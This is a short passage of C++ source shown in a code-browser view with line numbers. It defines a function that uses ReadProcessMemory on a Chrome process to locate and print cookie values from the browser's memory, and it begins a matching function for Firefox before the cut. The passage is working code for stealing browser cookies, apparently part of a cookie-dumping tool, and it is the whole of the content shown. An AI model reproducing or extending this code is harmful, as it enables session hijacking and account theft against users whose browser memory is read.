| 141 | return TRUE; |
| 142 | } |
| 143 | void ReadStringChrome(HANDLE hProcess, OptimizedString string) { |
| 144 | if (string.len > 23) |
| 145 | { |
| 146 | RemoteString longString = { 0 }; |
| 147 | std::memcpy(&longString, &string.buf, sizeof(RemoteString)); |
| 148 | |
| 149 | if (longString.dataAddress != 0) { |
| 150 | PRINT("Attempting to read the cookie value from address: 0x%p\n", (void*)longString.dataAddress); |
| 151 | unsigned char* buf = (unsigned char*)malloc(longString.strMax); |
| 152 | if (buf == 0 || !ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(longString.dataAddress), buf, longString.strLen + 1, nullptr)) { |
| 153 | PRINT("Failed to read cookie value"); |
| 154 | free(buf); |
| 155 | return; |
| 156 | } |
| 157 | PRINT("%s\n", buf); |
| 158 | free(buf); |
| 159 | } |
| 160 | } |
| 161 | else |
| 162 | PRINT("%s\n", string.buf); |
| 163 | } |
| 164 | |
| 165 | void ReadStringFireFox(HANDLE hProcess, NsCString string) { |
| 166 | if (string.address != 0) { |
no outgoing calls
no test coverage detected